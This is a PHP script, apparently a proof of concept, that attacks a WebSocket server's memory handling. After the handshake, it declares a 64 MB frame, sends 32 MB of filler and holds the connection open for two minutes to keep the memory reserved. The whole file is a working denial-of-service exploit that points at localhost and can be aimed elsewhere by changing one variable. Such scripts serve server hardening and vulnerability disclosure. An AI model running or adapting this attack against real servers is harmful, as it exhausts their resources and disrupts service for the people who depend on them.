<?php

  $host = '127.0.0.1';
  $port = 8080;
  $path = '/test';

  // Must be more than $sendBytes.  This will never be reached.
  $claimedBytes = 64 * 1024 * 1024; // Reserve 64mb

  // Must be below $claimedBytes.  Server will reserve this for as long as $holdSeconds
  $sendBytes = 32 * 1024 * 1024; // Server will now keep 32mb in memory

  // How long to actually reserve the memory for.
  $holdSeconds = 120;

  function writeAll($socket, $data)
  {
      $offset = 0;
      while ($offset < strlen($data)) {
          $n = fwrite($socket, substr($data, $offset));
          if ($n === false || $n === 0) {
              throw new Exception('Socket write failed');
          }
          $offset += $n;
      }
  }

  function maskData($data, $mask, $offset)
  {
      $out = '';
      for ($i = 0; $i < strlen($data); $i++) {
          $out .= chr(ord($data[$i]) ^ ord($mask[($offset + $i) % 4]));
      }
      return $out;
  }

  $socket = fsockopen($host, $port, $errno, $error, 5);
  if (!$socket) {
      die("Connection failed: $error\n");
  }

  $key = base64_encode(random_bytes(16));

  $request =
      "GET $path HTTP/1.1\r\n" .
      "Host: $host:$port\r\n" .
      "Upgrade: websocket\r\n" .
      "Connection: Upgrade\r\n" .
      "Sec-WebSocket-Version: 13\r\n" .
      "Sec-WebSocket-Key: $key\r\n\r\n";

  writeAll($socket, $request);

  $response = '';
  while (strpos($response, "\r\n\r\n") === false) {
      $chunk = fread($socket, 4096);
      if ($chunk === false || $chunk === '') {
          die("Incomplete handshake\n");
      }
      $response .= $chunk;
  }

  if (!preg_match('/^HTTP\/\d\.\d\s+101\b/m', $response)) {
      die("Upgrade failed:\n$response\n");
  }

  $mask = random_bytes(4);

  /*
   * FIN + text opcode, masked, 64-bit declared length.
   * The payload is intentionally incomplete.
   */
  $frameHeader =
      chr(0x81) .
      chr(0x80 | 127) .
      pack('NN', 0, $claimedBytes) .
      $mask;

  writeAll($socket, $frameHeader);

  $sent = 0;
  $chunkSize = 65536;

  while ($sent < $sendBytes) {
      $size = min($chunkSize, $sendBytes - $sent);
      $plain = str_repeat('A', $size);
      writeAll($socket, maskData($plain, $mask, $sent));
      $sent += $size;
  }

  echo "Sent $sent bytes of a claimed $claimedBytes-byte frame.\n";
  echo "Holding connection for {$holdSeconds} seconds...\n";

  sleep($holdSeconds);
  fclose($socket);